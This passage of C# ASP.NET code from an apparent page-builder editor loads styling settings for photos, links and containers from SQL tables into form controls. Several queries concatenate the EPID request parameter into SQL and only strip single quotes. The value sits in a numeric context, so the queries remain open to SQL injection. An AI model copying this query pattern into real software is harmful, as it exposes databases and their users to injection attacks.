(Padding.Length >= 2 && Padding[1] != "") ? Padding[1] : ddl_Photo_Padding_Right.Value; ddl_Photo_Padding_Bottom.Value = (Padding.Length >= 3 && Padding[2] != "") ? Padding[2] : ddl_Photo_Padding_Bottom.Value; ddl_Photo_Padding_Left.Value = (Padding.Length >= 4 && Padding[3] != "") ? Padding[3] : ddl_Photo_Padding_Left.Value; } if (DS.Tables[0].Rows[i]["BackColor"] != Convert.DBNull) txt_Photo_BackColor.Value = DS.Tables[0].Rows[i]["BackColor"].ToString(); if (DS.Tables[0].Rows[i]["TopBorder_Color"] != Convert.DBNull) txt_Photo_TopBorder_Color.Value = DS.Tables[0].Rows[i]["TopBorder_Color"].ToString(); if (DS.Tables[0].Rows[i]["RightBorder_Color"] != Convert.DBNull) txt_Photo_RightBorder_Color.Value = DS.Tables[0].Rows[i]["RightBorder_Color"].ToString(); if (DS.Tables[0].Rows[i]["BottomBorder_Color"] != Convert.DBNull) txt_Photo_BottomBorder_Color.Value = DS.Tables[0].Rows[i]["BottomBorder_Color"].ToString(); if (DS.Tables[0].Rows[i]["LeftBorder_Color"] != Convert.DBNull) txt_Photo_LeftBorder_Color.Value = DS.Tables[0].Rows[i]["LeftBorder_Color"].ToString(); if (DS.Tables[0].Rows[i]["TopBorder_Style"] != Convert.DBNull) ddl_Photo_TopBorder_Style.Value = DS.Tables[0].Rows[i]["TopBorder_Style"].ToString(); if (DS.Tables[0].Rows[i]["RightBorder_Style"] != Convert.DBNull) ddl_Photo_RightBorder_Style.Value = DS.Tables[0].Rows[i]["RightBorder_Style"].ToString(); if (DS.Tables[0].Rows[i]["BottomBorder_Style"] != Convert.DBNull) ddl_Photo_BottomBorder_Style.Value = DS.Tables[0].Rows[i]["BottomBorder_Style"].ToString(); if (DS.Tables[0].Rows[i]["LeftBorder_Style"] != Convert.DBNull) ddl_Photo_LeftBorder_Style.Value = DS.Tables[0].Rows[i]["LeftBorder_Style"].ToString(); if (DS.Tables[0].Rows[i]["TopBorder_Size"] != Convert.DBNull) ddl_Photo_TopBorder_Size.Value = DS.Tables[0].Rows[i]["TopBorder_Size"].ToString(); if (DS.Tables[0].Rows[i]["RightBorder_Size"] != Convert.DBNull) ddl_Photo_RightBorder_Size.Value = DS.Tables[0].Rows[i]["RightBorder_Size"].ToString(); if (DS.Tables[0].Rows[i]["BottomBorder_Size"] != Convert.DBNull) ddl_Photo_BottomBorder_Size.Value = DS.Tables[0].Rows[i]["BottomBorder_Size"].ToString(); if (DS.Tables[0].Rows[i]["LeftBorder_Size"] != Convert.DBNull) ddl_Photo_LeftBorder_Size.Value = DS.Tables[0].Rows[i]["LeftBorder_Size"].ToString(); if (DS.Tables[0].Rows[i]["Shadow_Padding_Top"] != Convert.DBNull) ddl_Photo_Shadow_Padding_Top.Value = DS.Tables[0].Rows[i]["Shadow_Padding_Top"].ToString(); if (DS.Tables[0].Rows[i]["Shadow_Padding_Right"] != Convert.DBNull) ddl_Photo_Shadow_Padding_Right.Value = DS.Tables[0].Rows[i]["Shadow_Padding_Right"].ToString(); if (DS.Tables[0].Rows[i]["Shadow_Padding_Bottom"] != Convert.DBNull) ddl_Photo_Shadow_Padding_Bottom.Value = DS.Tables[0].Rows[i]["Shadow_Padding_Bottom"].ToString(); if (DS.Tables[0].Rows[i]["Shadow_Padding_Left"] != Convert.DBNull) ddl_Photo_Shadow_Padding_Left.Value = DS.Tables[0].Rows[i]["Shadow_Padding_Left"].ToString(); if (DS.Tables[0].Rows[i]["Shadow_Hor"] != Convert.DBNull) { ddl_Photo_Shadow_Hor.Value = DS.Tables[0].Rows[i]["Shadow_Hor"].ToString(); if (Convert.ToInt32(DS.Tables[0].Rows[i]["Shadow_Hor"].ToString().Replace("px", "")) < 0) { rbl_Photo_Shadow_Hor.SelectedValue = "-"; } else { rbl_Photo_Shadow_Hor.SelectedValue = ""; } } if (DS.Tables[0].Rows[i]["Shadow_Vor"] != Convert.DBNull) { ddl_Photo_Shadow_Ver.Value = DS.Tables[0].Rows[i]["Shadow_Vor"].ToString(); if (Convert.ToInt32(DS.Tables[0].Rows[i]["Shadow_Vor"].ToString().Replace("px", "")) < 0) { rbl_Photo_Shadow_Ver.SelectedValue = "-"; } else { rbl_Photo_Shadow_Ver.SelectedValue = ""; } } if (DS.Tables[0].Rows[i]["Shadow_Blur"] != Convert.DBNull) ddl_Photo_Shadow_Blur.Value = DS.Tables[0].Rows[i]["Shadow_Blur"].ToString(); if (DS.Tables[0].Rows[i]["Shadow_Color"] != Convert.DBNull) txt_Photo_Shadow_Color.Value = DS.Tables[0].Rows[i]["Shadow_Color"].ToString(); if (DS.Tables[0].Rows[i]["Curve_Radius"] != Convert.DBNull) ddl_Photo_Curve_Radius.Value = DS.Tables[0].Rows[i]["Curve_Radius"].ToString(); } } else { tr_Photo_Filename.Visible = false; } #endregion #region Get Links DS = ClSqlCmd.DataSetSel(@" SELECT dbo.__StandardEngine_T_Link.Link_ID, dbo.__StandardEngine_T_Link.Text, dbo.__StandardEngine_T_LinkHref.LinkHref_Href, dbo.__StandardEngine_T_LinkHref.LinkHref_Target, dbo.__StandardEngine_T_Link.Class, dbo.__StandardEngine_T_BorderMode.BorderMode_ID, dbo.__StandardEngine_T_BorderMode.Padding, dbo.__StandardEngine_T_BorderMode.BackColor, dbo.__StandardEngine_T_BorderMode.TopBorder_Color, dbo.__StandardEngine_T_BorderMode.RightBorder_Color, dbo.__StandardEngine_T_BorderMode.BottomBorder_Color, dbo.__StandardEngine_T_BorderMode.LeftBorder_Color, dbo.__StandardEngine_T_BorderMode.TopBorder_Style, dbo.__StandardEngine_T_BorderMode.RightBorder_Style, dbo.__StandardEngine_T_BorderMode.BottomBorder_Style, dbo.__StandardEngine_T_BorderMode.LeftBorder_Style, dbo.__StandardEngine_T_BorderMode.TopBorder_Size, dbo.__StandardEngine_T_BorderMode.RightBorder_Size, dbo.__StandardEngine_T_BorderMode.BottomBorder_Size, dbo.__StandardEngine_T_BorderMode.LeftBorder_Size, dbo.__StandardEngine_T_BorderMode.[Shadow_Padding_Top], dbo.__StandardEngine_T_BorderMode.[Shadow_Padding_Right], dbo.__StandardEngine_T_BorderMode.[Shadow_Padding_Bottom], dbo.__StandardEngine_T_BorderMode.[Shadow_Padding_Left], dbo.__StandardEngine_T_BorderMode.[Shadow_Hor], dbo.__StandardEngine_T_BorderMode.[Shadow_Vor], dbo.__StandardEngine_T_BorderMode.[Shadow_Blur], dbo.__StandardEngine_T_BorderMode.[Shadow_Color], dbo.__StandardEngine_T_BorderMode.[Curve_Radius], dbo.__StandardEngine_T_TextStyle.ForeColor, dbo.__StandardEngine_T_TextStyle.BackColor AS TextStyle_BackColor, dbo.__StandardEngine_T_TextStyle.FontFamily, dbo.__StandardEngine_T_TextStyle.FontSize, dbo.__StandardEngine_T_TextStyle.Align, dbo.__StandardEngine_T_TextStyle.Bold, dbo.__StandardEngine_T_TextStyle.Underline, dbo.__StandardEngine_T_TextStyle.Italic FROM dbo.__StandardEngine_T_TextStyle RIGHT OUTER JOIN dbo.__StandardEngine_T_Link ON dbo.__StandardEngine_T_TextStyle.TextStyle_ID = dbo.__StandardEngine_T_Link.TextStyle_ID LEFT OUTER JOIN dbo.__StandardEngine_T_LinkHref ON dbo.__StandardEngine_T_Link.LinkHref_ID = dbo.__StandardEngine_T_LinkHref.LinkHref_ID LEFT OUTER JOIN dbo.__StandardEngine_T_BorderMode ON dbo.__StandardEngine_T_Link.BorderMode_ID = dbo.__StandardEngine_T_BorderMode.BorderMode_ID where dbo.__StandardEngine_T_Link.[EditorPage_ID]=" + Request.Params["EPID"].Replace("'", "") + @" Order by dbo.__StandardEngine_T_Link.[Order] asc, dbo.__StandardEngine_T_Link.Link_ID asc"); if (DS.Tables.Count > 0 && DS.Tables[0].Rows.Count > 0) { for (int i = 0; i < DS.Tables[0].Rows.Count; i++) //It is all one { if (DS.Tables[0].Rows[i]["BorderMode_ID"] != Convert.DBNull) { rb_Link_Settings.SelectedValue = "1"; tr_Link_Settings.Visible = true; } else { if (DS.Tables[0].Rows[i]["Class"] != Convert.DBNull) rb_Link_Settings.SelectedValue = DS.Tables[0].Rows[i]["Class"].ToString(); tr_Link_Settings.Visible = false; } /////////////////////////////////////////////////////// if (DS.Tables[0].Rows[i]["Text"] != Convert.DBNull) txt_Link.Value = DS.Tables[0].Rows[i]["Text"].ToString(); if (DS.Tables[0].Rows[i]["LinkHref_Href"] != Convert.DBNull) txt_Link_LinkHref_Href.Text = DS.Tables[0].Rows[i]["LinkHref_Href"].ToString(); if (DS.Tables[0].Rows[i]["LinkHref_Target"] != Convert.DBNull) ddl_Link_LinkHref_Target.SelectedValue = DS.Tables[0].Rows[i]["LinkHref_Target"].ToString(); if (DS.Tables[0].Rows[i]["Padding"] != Convert.DBNull) { string[] Padding = DS.Tables[0].Rows[i]["Padding"].ToString().Split(null); ddl_Link_Padding_Top.Value = (Padding.Length >= 1 && Padding[0] != "") ? Padding[0] : ddl_Link_Padding_Top.Value; ddl_Link_Padding_Right.Value = (Padding.Length >= 2 && Padding[1] != "") ? Padding[1] : ddl_Link_Padding_Right.Value; ddl_Link_Padding_Bottom.Value = (Padding.Length >= 3 && Padding[2] != "") ? Padding[2] : ddl_Link_Padding_Bottom.Value; ddl_Link_Padding_Left.Value = (Padding.Length >= 4 && Padding[3] != "") ? Padding[3] : ddl_Link_Padding_Left.Value; } if (DS.Tables[0].Rows[i]["BackColor"] != Convert.DBNull) txt_Link_BackColor.Value = DS.Tables[0].Rows[i]["BackColor"].ToString(); if (DS.Tables[0].Rows[i]["TopBorder_Color"] != Convert.DBNull) txt_Link_TopBorder_Color.Value = DS.Tables[0].Rows[i]["TopBorder_Color"].ToString(); if (DS.Tables[0].Rows[i]["RightBorder_Color"] != Convert.DBNull) txt_Link_RightBorder_Color.Value = DS.Tables[0].Rows[i]["RightBorder_Color"].ToString(); if (DS.Tables[0].Rows[i]["BottomBorder_Color"] != Convert.DBNull) txt_Link_BottomBorder_Color.Value = DS.Tables[0].Rows[i]["BottomBorder_Color"].ToString(); if (DS.Tables[0].Rows[i]["LeftBorder_Color"] != Convert.DBNull) txt_Link_LeftBorder_Color.Value = DS.Tables[0].Rows[i]["LeftBorder_Color"].ToString(); if (DS.Tables[0].Rows[i]["TopBorder_Style"] != Convert.DBNull) ddl_Link_TopBorder_Style.Value = DS.Tables[0].Rows[i]["TopBorder_Style"].ToString(); if (DS.Tables[0].Rows[i]["RightBorder_Style"] != Convert.DBNull) ddl_Link_RightBorder_Style.Value = DS.Tables[0].Rows[i]["RightBorder_Style"].ToString(); if (DS.Tables[0].Rows[i]["BottomBorder_Style"] != Convert.DBNull) ddl_Link_BottomBorder_Style.Value = DS.Tables[0].Rows[i]["BottomBorder_Style"].ToString(); if (DS.Tables[0].Rows[i]["LeftBorder_Style"] != Convert.DBNull) ddl_Link_LeftBorder_Style.Value = DS.Tables[0].Rows[i]["LeftBorder_Style"].ToString(); if (DS.Tables[0].Rows[i]["TopBorder_Size"] != Convert.DBNull) ddl_Link_TopBorder_Size.Value = DS.Tables[0].Rows[i]["TopBorder_Size"].ToString(); if (DS.Tables[0].Rows[i]["RightBorder_Size"] != Convert.DBNull) ddl_Link_RightBorder_Size.Value = DS.Tables[0].Rows[i]["RightBorder_Size"].ToString(); if (DS.Tables[0].Rows[i]["BottomBorder_Size"] != Convert.DBNull) ddl_Link_BottomBorder_Size.Value = DS.Tables[0].Rows[i]["BottomBorder_Size"].ToString(); if (DS.Tables[0].Rows[i]["LeftBorder_Size"] != Convert.DBNull) ddl_Link_LeftBorder_Size.Value = DS.Tables[0].Rows[i]["LeftBorder_Size"].ToString(); if (DS.Tables[0].Rows[i]["Shadow_Padding_Top"] != Convert.DBNull) ddl_Link_Shadow_Padding_Top.Value = DS.Tables[0].Rows[i]["Shadow_Padding_Top"].ToString(); if (DS.Tables[0].Rows[i]["Shadow_Padding_Right"] != Convert.DBNull) ddl_Link_Shadow_Padding_Right.Value = DS.Tables[0].Rows[i]["Shadow_Padding_Right"].ToString(); if (DS.Tables[0].Rows[i]["Shadow_Padding_Bottom"] != Convert.DBNull) ddl_Link_Shadow_Padding_Bottom.Value = DS.Tables[0].Rows[i]["Shadow_Padding_Bottom"].ToString(); if (DS.Tables[0].Rows[i]["Shadow_Padding_Left"] != Convert.DBNull) ddl_Link_Shadow_Padding_Left.Value = DS.Tables[0].Rows[i]["Shadow_Padding_Left"].ToString(); if (DS.Tables[0].Rows[i]["Shadow_Hor"] != Convert.DBNull) { ddl_Link_Shadow_Hor.Value = DS.Tables[0].Rows[i]["Shadow_Hor"].ToString(); if (Convert.ToInt32(DS.Tables[0].Rows[i]["Shadow_Hor"].ToString().Replace("px", "")) < 0) { rbl_Link_Shadow_Hor.SelectedValue = "-"; } else { rbl_Link_Shadow_Hor.SelectedValue = ""; } } if (DS.Tables[0].Rows[i]["Shadow_Vor"] != Convert.DBNull) { ddl_Link_Shadow_Ver.Value = DS.Tables[0].Rows[i]["Shadow_Vor"].ToString(); if (Convert.ToInt32(DS.Tables[0].Rows[i]["Shadow_Vor"].ToString().Replace("px", "")) < 0) { rbl_Link_Shadow_Ver.SelectedValue = "-"; } else { rbl_Link_Shadow_Ver.SelectedValue = ""; } } if (DS.Tables[0].Rows[i]["Shadow_Blur"] != Convert.DBNull) ddl_Link_Shadow_Blur.Value = DS.Tables[0].Rows[i]["Shadow_Blur"].ToString(); if (DS.Tables[0].Rows[i]["Shadow_Color"] != Convert.DBNull) txt_Link_Shadow_Color.Value = DS.Tables[0].Rows[i]["Shadow_Color"].ToString(); if (DS.Tables[0].Rows[i]["Curve_Radius"] != Convert.DBNull) ddl_Link_Curve_Radius.Value = DS.Tables[0].Rows[i]["Curve_Radius"].ToString(); //Text Style if (DS.Tables[0].Rows[i]["ForeColor"] != Convert.DBNull) txt_Link_ForeColor.Value = DS.Tables[0].Rows[i]["ForeColor"].ToString(); if (DS.Tables[0].Rows[i]["BackColor"] != Convert.DBNull) { txt_Link_BackColor.Value = DS.Tables[0].Rows[i]["BackColor"].ToString(); //cb_BackColor_Trans.Checked = false; } else { txt_Link_BackColor.Value = ""; //cb_BackColor_Trans.Checked = true; } if (DS.Tables[0].Rows[i]["FontFamily"] != Convert.DBNull) ddl_Link_FontFamily.Value = DS.Tables[0].Rows[i]["FontFamily"].ToString(); if (DS.Tables[0].Rows[i]["FontSize"] != Convert.DBNull) ddl_Link_FontSize.Value = DS.Tables[0].Rows[i]["FontSize"].ToString(); if (DS.Tables[0].Rows[i]["Align"] != Convert.DBNull) ddl_Link_Align.Value = DS.Tables[0].Rows[i]["Align"].ToString(); if (DS.Tables[0].Rows[i]["Bold"] != Convert.DBNull) cb_Link_Bold.Checked = DS.Tables[0].Rows[i]["Bold"].ToString().ToLower() == "bold" ? true : false; if (DS.Tables[0].Rows[i]["Underline"] != Convert.DBNull) cb_Link_Underline.Checked = DS.Tables[0].Rows[i]["Underline"].ToString().ToLower() == "underline" ? true : false; if (DS.Tables[0].Rows[i]["Italic"] != Convert.DBNull) cb_Link_Italic.Checked = DS.Tables[0].Rows[i]["Italic"].ToString().ToLower() == "italic" ? true : false; } } #endregion #region Get Borders DS = ClSqlCmd.DataSetSel(@" SELECT dbo.__StandardEngine_T_BorderMode.BorderMode_ID, dbo.__StandardEngine_T_BorderMode.Padding, dbo.__StandardEngine_T_BorderMode.BackColor, dbo.__StandardEngine_T_BorderMode.TopBorder_Color, dbo.__StandardEngine_T_BorderMode.RightBorder_Color, dbo.__StandardEngine_T_BorderMode.BottomBorder_Color, dbo.__StandardEngine_T_BorderMode.LeftBorder_Color, dbo.__StandardEngine_T_BorderMode.TopBorder_Style, dbo.__StandardEngine_T_BorderMode.RightBorder_Style, dbo.__StandardEngine_T_BorderMode.BottomBorder_Style, dbo.__StandardEngine_T_BorderMode.LeftBorder_Style, dbo.__StandardEngine_T_BorderMode.TopBorder_Size, dbo.__StandardEngine_T_BorderMode.RightBorder_Size, dbo.__StandardEngine_T_BorderMode.BottomBorder_Size, dbo.__StandardEngine_T_BorderMode.LeftBorder_Size, dbo.__StandardEngine_T_BorderMode.Stroke_Color, dbo.__StandardEngine_T_BorderMode.Stroke_Style, dbo.__StandardEngine_T_BorderMode.Stroke_Size, dbo.__StandardEngine_T_BorderMode.EditorPage_ID, dbo.__StandardEngine_T_BorderMode.Shadow_Padding_Top, dbo.__StandardEngine_T_BorderMode.Shadow_Padding_Right, dbo.__StandardEngine_T_BorderMode.Shadow_Padding_Bottom, dbo.__StandardEngine_T_BorderMode.Shadow_Padding_Left, dbo.__StandardEngine_T_BorderMode.Shadow_Hor, dbo.__StandardEngine_T_BorderMode.Shadow_Vor, dbo.__StandardEngine_T_BorderMode.Shadow_Blur, dbo.__StandardEngine_T_BorderMode.Shadow_Color, dbo.__StandardEngine_T_BorderMode.Curve_Radius, dbo.__StandardEngine_T_EditorPages.PageDescription, dbo.__StandardEngine_T_EditorPages.PageName FROM dbo.__StandardEngine_T_BorderMode RIGHT OUTER JOIN dbo.__StandardEngine_T_EditorPages ON dbo.__StandardEngine_T_BorderMode.EditorPage_ID = dbo.__StandardEngine_T_EditorPages.EditorPage_ID where dbo.__StandardEngine_T_EditorPages.[EditorPage_ID]=" + Request.Params["EPID"].Replace("'", "") + @" Order by dbo.__StandardEngine_T_BorderMode.BorderMode_ID asc"); if (DS.Tables.Count > 0 && DS.Tables[0].Rows.Count > 0) { for (int i = 0; i < DS.Tables[0].Rows.Count; i++) //It is all one { if (DS.Tables[0].Rows[i]["BorderMode_ID"] != Convert.DBNull) { bool_cont_HasSettings = true; rb_Cont_Settings.SelectedValue = "1"; tr_Cont_Settings.Visible = true; ///////////////////////////////////////////////////////// if (DS.Tables[0].Rows[i]["Padding"] != Convert.DBNull) { string[] Padding = DS.Tables[0].Rows[i]["Padding"].ToString().Split(null); ddl_Cont_Padding_Top.Value = (Padding.Length >= 1 && Padding[0] != "") ? Padding[0] : ddl_Cont_Padding_Top.Value; ddl_Cont_Padding_Right.Value = (Padding.Length >= 2 && Padding[1] != "") ? Padding[1] : ddl_Cont_Padding_Right.Value; ddl_Cont_Padding_Bottom.Value = (Padding.Length >= 3 && Padding[2] != "") ? Padding[2] : ddl_Cont_Padding_Bottom.Value; ddl_Cont_Padding_Left.Value = (Padding.Length >= 4 && Padding[3] != "") ? Padding[3] : ddl_Cont_Padding_Left.Value; } if (DS.Tables[0].Rows[i]["BackColor"] != Convert.DBNull) txt_Cont_BackColor.Value = DS.Tables[0].Rows[i]["BackColor"].ToString(); if (DS.Tables[0].Rows[i]["TopBorder_Color"] != Convert.DBNull) txt_Cont_TopBorder_Color.Value = DS.Tables[0].Rows[i]["TopBorder_Color"].ToString(); if (DS.Tables[0].Rows[i]["RightBorder_Color"] != Convert.DBNull) txt_Cont_RightBorder_Color.Value = DS.Tables[0].Rows[i]["RightBorder_Color"].ToString(); if (DS.Tables[0].Rows[i]["BottomBorder_Color"] != Convert.DBNull) txt_Cont_BottomBorder_Color.Value = DS.Tables[0].Rows[i]["BottomBorder_Color"].ToString(); if (DS.Tables[0].Rows[i]["LeftBorder_Color"] != Convert.DBNull) txt_Cont_LeftBorder_Color.Value = DS.Tables[0].Rows[i]["LeftBorder_Color"].ToString(); if (DS.Tables[0].Rows[i]["TopBorder_Style"] != Convert.DBNull) ddl_Cont_TopBorder_Style.Value = DS.Tables[0].Rows[i]["TopBorder_Style"].ToString(); if (DS.Tables[0].Rows[i]["RightBorder_Style"] != Convert.DBNull) ddl_Cont_RightBorder_Style.Value = DS.Tables[0].Rows[i]["RightBorder_Style"].ToString(); if (DS.Tables[0].Rows[i]["BottomBorder_Style"] != Convert.DBNull) ddl_Cont_BottomBorder_Style.Value = DS.Tables[0].Rows[i]["BottomBorder_Style"].ToString(); if (DS.Tables[0].Rows[i]["LeftBorder_Style"] != Convert.DBNull) ddl_Cont_LeftBorder_Style.Value = DS.Tables[0].Rows[i]["LeftBorder_Style"].ToString(); if (DS.Tables[0].Rows[i]["TopBorder_Size"] != Convert.DBNull) ddl_Cont_TopBorder_Size.Value = DS.Tables[0].Rows[i]["TopBorder_Size"].ToString(); if (DS.Tables[0].Rows[i]["RightBorder_Size"] != Convert.DBNull) ddl_Cont_RightBorder_Size.Value = DS.Tables[0].Rows[i]["RightBorder_Size"].ToString(); if (DS.Tables[0].Rows[i]["BottomBorder_Size"] != Convert.DBNull) ddl_Cont_BottomBorder_Size.Value = DS.Tables[0].Rows[i]["BottomBorder_Size"].ToString(); if (DS.Tables[0].Rows[i]["LeftBorder_Size"] != Convert.DBNull) ddl_Cont_LeftBorder_Size.Value = DS.Tables[0].Rows[i]["LeftBorder_Size"].ToString(); if (DS.Tables[0].Rows[i]["Shadow_Padding_Top"] != Convert.DBNull) ddl_Cont_Shadow_Padding_Top.Value = DS.Tables[0].Rows[i]["Shadow_Padding_Top"].ToString(); if (DS.Tables[0].Rows[i]["Shadow_Padding_Right"] != Convert.DBNull) ddl_Cont_Shadow_Padding_Right.Value = DS.Tables[0].Rows[i]["Shadow_Padding_Right"].ToString(); if (DS.Tables[0].Rows[i]["Shadow_Padding_Bottom"] != Convert.DBNull) ddl_Cont_Shadow_Padding_Bottom.Value = DS.Tables[0].Rows[i]["Shadow_Padding_Bottom"].ToString(); if (DS.Tables[0].Rows[i]["Shadow_Padding_Left"] != Convert.DBNull) ddl_Cont_Shadow_Padding_Left.Value = DS.Tables[0].Rows[i]["Shadow_Padding_Left"].ToString(); if (DS.Tables[0].Rows[i]["Shadow_Hor"] != Convert.DBNull) { ddl_Cont_Shadow_Hor.Value = DS.Tables[0].Rows[i]["Shadow_Hor"].ToString().Replace("-", "").Replace("+", "").Trim(); if (Convert.ToInt32(DS.Tables[0].Rows[i]["Shadow_Hor"].ToString().Replace("px", "")) < 0) { rbl_Cont_Shadow_Hor.SelectedValue = "-"; } else { rbl_Cont_Shadow_Hor.SelectedValue = ""; } } if (DS.Tables[0].Rows[i]["Shadow_Vor"] != Convert.DBNull) { ddl_Cont_Shadow_Ver.Value = DS.Tables[0].Rows[i]["Shadow_Vor"].ToString().Replace("-", "").Replace("+", "").Trim(); if (Convert.ToInt32(DS.Tables[0].Rows[i]["Shadow_Vor"].ToString().Replace("px", "")) < 0) { rbl_Cont_Shadow_Ver.SelectedValue = "-"; } else { rbl_Cont_Shadow_Ver.SelectedValue = ""; } } if (DS.Tables[0].Rows[i]["Shadow_Blur"] != Convert.DBNull) ddl_Cont_Shadow_Blur.Value = DS.Tables[0].Rows[i]["Shadow_Blur"].ToString(); if (DS.Tables[0].Rows[i]["Shadow_Color"] != Convert.DBNull) txt_Cont_Shadow_Color.Value = DS.Tables[0].Rows[i]["Shadow_Color"].ToString(); if (DS.Tables[0].Rows[i]["Curve_Radius"] != Convert.DBNull) ddl_Cont_Curve_Radius.Value = DS.Tables[0].Rows[i]["Curve_Radius"].ToString(); } } } else { rb_Cont_Settings.SelectedValue = "0"; tr_Cont_Settings.Visible = false; } #endregion #region Get Outer Borders DS = ClSqlCmd.DataSetSel(@" SELECT dbo.__StandardEngine_T_EditorPages.EditorPage_ID, dbo.__StandardEngine_T_BorderMode.BorderMode_ID, dbo.__StandardEngine_T_BorderMode.Padding, dbo.__StandardEngine_T_BorderMode.BackColor, dbo.__StandardEngine_T_BorderMode.TopBorder_Color, dbo.__StandardEngine_T_BorderMode.RightBorder_Color, dbo.__StandardEngine_T_BorderMode.BottomBorder_Color, dbo.__StandardEngine_T_BorderMode.LeftBorder_Color, dbo.__StandardEngine_T_BorderMode.TopBorder_Style, dbo.__StandardEngine_T_BorderMode.RightBorder_Style, dbo.__StandardEngine_T_BorderMode.BottomBorder_Style, dbo.__StandardEngine_T_BorderMode.LeftBorder_Style, dbo.__StandardEngine_T_BorderMode.TopBorder_Size, dbo.__StandardEngine_T_BorderMode.RightBorder_Size, dbo.__StandardEngine_T_BorderMode.BottomBorder_Size, dbo.__StandardEngine_T_BorderMode.LeftBorder_Size, dbo.__StandardEngine_T_BorderMode.[Shadow_Padding_Top], dbo.__StandardEngine_T_BorderMode.[Shadow_Padding_Right], dbo.__StandardEngine_T_BorderMode.[Shadow_Padding_Bottom], dbo.__StandardEngine_T_BorderMode.[Shadow_Padding_Left], dbo.__StandardEngine_T_BorderMode.[Shadow_Hor], dbo.__StandardEngine_T_BorderMode.[Shadow_Vor], dbo.__StandardEngine_T_BorderMode.[Shadow_Blur], dbo.__StandardEngine_T_BorderMode.[Shadow_Color], dbo.__StandardEngine_T_BorderMode.[Curve_Radius], dbo.__StandardEngine_T_EditorPages.BackGround_ID, dbo.__StandardEngine_T_BackGround.background_image, dbo.__StandardEngine_T_BackGround.background_repeat, dbo.__StandardEngine_T_BackGround.background_position_Hor, dbo.__StandardEngine_T_BackGround.background_position_Ver FROM dbo.__StandardEngine_T_EditorPages INNER JOIN dbo.__StandardEngine_T_BorderMode ON dbo.__StandardEngine_T_EditorPages.BorderMode_ID = dbo.__StandardEngine_T_BorderMode.BorderMode_ID LEFT OUTER JOIN dbo.__StandardEngine_T_BackGround ON dbo.__StandardEngine_T_EditorPages.BackGround_ID = dbo.__StandardEngine_T_BackGround.BackGround_ID where dbo.__StandardEngine_T_EditorPages.EditorPage_ID=" + Request.Params["EPID"].Replace("'", "") + @" Order by [Order] asc, BorderMode_ID asc"); if (DS.Tables.Count > 0 && DS.Tables[0].Rows.Count > 0) { rb_OuterCont_Settings.SelectedValue = "1"; tr_OuterCont_Settings.Visible = true; ///////////////////////////////////////////////////////// for (int i = 0; i < DS.Tables[0].Rows.Count; i++) //It is all one { if (DS.Tables[0].Rows[i]["Padding"] != Convert.DBNull) { string[] Padding = DS.Tables[0].Rows[i]["Padding"].ToString().Split(null); ddl_OuterCont_Padding_Top.Value = (Padding.Length >= 1 && Padding[0] != "") ? Padding[0] : ddl_OuterCont_Padding_Top.Value; ddl_OuterCont_Padding_Right.Value = (Padding.Length >= 2 && Padding[1] != "") ? Padding[1] : ddl_OuterCont_Padding_Right.Value; ddl_OuterCont_Padding_Bottom.Value = (Padding.Length >= 3 && Padding[2] != "") ? Padding[2] : ddl_OuterCont_Padding_Bottom.Value; ddl_OuterCont_Padding_Left.Value = (Padding.Length >= 4 && Padding[3] != "") ? Padding[3] : ddl_OuterCont_Padding_Left.Value; } if (DS.Tables[0].Rows[i]["BackColor"] != Convert.DBNull) { txt_OuterCont_BackColor.Value = DS.Tables[0].Rows[i]["BackColor"].ToString(); cb_OuterCont_BackColor_Trans.Checked = false; } else { txt_OuterCont_BackColor.Value = ""; cb_OuterCont_BackColor_Trans.Checked = true; } if (DS.Tables[0].Rows[i]["TopBorder_Color"] != Convert.DBNull) txt_OuterCont_TopBorder_Color.Value = DS.Tables[0].Rows[i]["TopBorder_Color"].ToString(); if (DS.Tables[0].Rows[i]["RightBorder_Color"] != Convert.DBNull) txt_OuterCont_RightBorder_Color.Value = DS.Tables[0].Rows[i]["RightBorder_Color"].ToString(); if (DS.Tables[0].Rows[i]["BottomBorder_Color"] != Convert.DBNull) txt_OuterCont_BottomBorder_Color.Value = DS.Tables[0].Rows[i]["BottomBorder_Color"].ToString(); if (DS.Tables[0].Rows[i]["LeftBorder_Color"] != Convert.DBNull) txt_OuterCont_LeftBorder_Color.Value = DS.Tables[0].Rows[i]["LeftBorder_Color"].ToString(); if (DS.Tables[0].Rows[i]["TopBorder_Style"] != Convert.DBNull) ddl_OuterCont_TopBorder_Style.Value = DS.Tables[0].Rows[i]["TopBorder_Style"].ToString(); if (DS.Tables[0].Rows[i]["RightBorder_Style"] != Convert.DBNull) ddl_OuterCont_RightBorder_Style.Value = DS.Tables[0].Rows[i]["RightBorder_Style"].ToString(); if (DS.Tables[0].Rows[i]["BottomBorder_Style"] != Convert.DBNull) ddl_OuterCont_BottomBorder_Style.Value = DS.Tables[0].Rows[i]["BottomBorder_Style"].ToString(); if (DS.Tables[0].Rows[i]["LeftBorder_Style"] != Convert.DBNull) ddl_OuterCont_LeftBorder_Style.Value = DS.Tables[0].Rows[i]["LeftBorder_Style"].ToString(); if (DS.Tables[0].Rows[i]["TopBorder_Size"] != Convert.DBNull) ddl_OuterCont_TopBorder_Size.Value = DS.Tables[0].Rows[i]["TopBorder_Size"].ToString(); if (DS.Tables[0].Rows[i]["RightBorder_Size"] != Convert.DBNull) ddl_OuterCont_RightBorder_Size.Value = DS.Tables[0].Rows[i]["RightBorder_Size"].ToString(); if (DS.Tables[0].Rows[i]["BottomBorder_Size"] != Convert.DBNull) ddl_OuterCont_BottomBorder_Size.Value = DS.Tables[0].Rows[i]["BottomBorder_Size"].ToString(); if (DS.Tables[0].Rows[i]["LeftBorder_Size"] != Convert.DBNull) ddl_OuterCont_LeftBorder_Size.Value = DS.Tables[0].Rows[i]["LeftBorder_Size"].ToString(); if (DS.Tables[0].Rows[i]["Shadow_Padding_Top"] != Convert.DBNull) ddl_OuterCont_Shadow_Padding_Top.Value = DS.Tables[0].Rows[i]["Shadow_Padding_Top"].ToString(); if (DS.Tables[0].Rows[i]["Shadow_Padding_Right"] != Convert.DBNull) ddl_OuterCont_Shadow_Padding_Right.Value = DS.Tables[0].Rows[i]["Shadow_Padding_Right"].ToString(); if (DS.Tables[0].Rows[i]["Shadow_Padding_Bottom"] != Convert.DBNull) ddl_OuterCont_Shadow_Padding_Bottom.Value = DS.Tables[0].Rows[i]["Shadow_Padding_Bottom"].ToString(); if (DS.Tables[0].Rows[i]["Shadow_Padding_Left"] != Convert.DBNull) ddl_OuterCont_Shadow_Padding_Left.Value = DS.Tables[0].Rows[i]["Shadow_Padding_Left"].ToString(); if (DS.Tables[0].Rows[i]["Shadow_Hor"] != Convert.DBNull) { ddl_OuterCont_Shadow_Hor.Value = 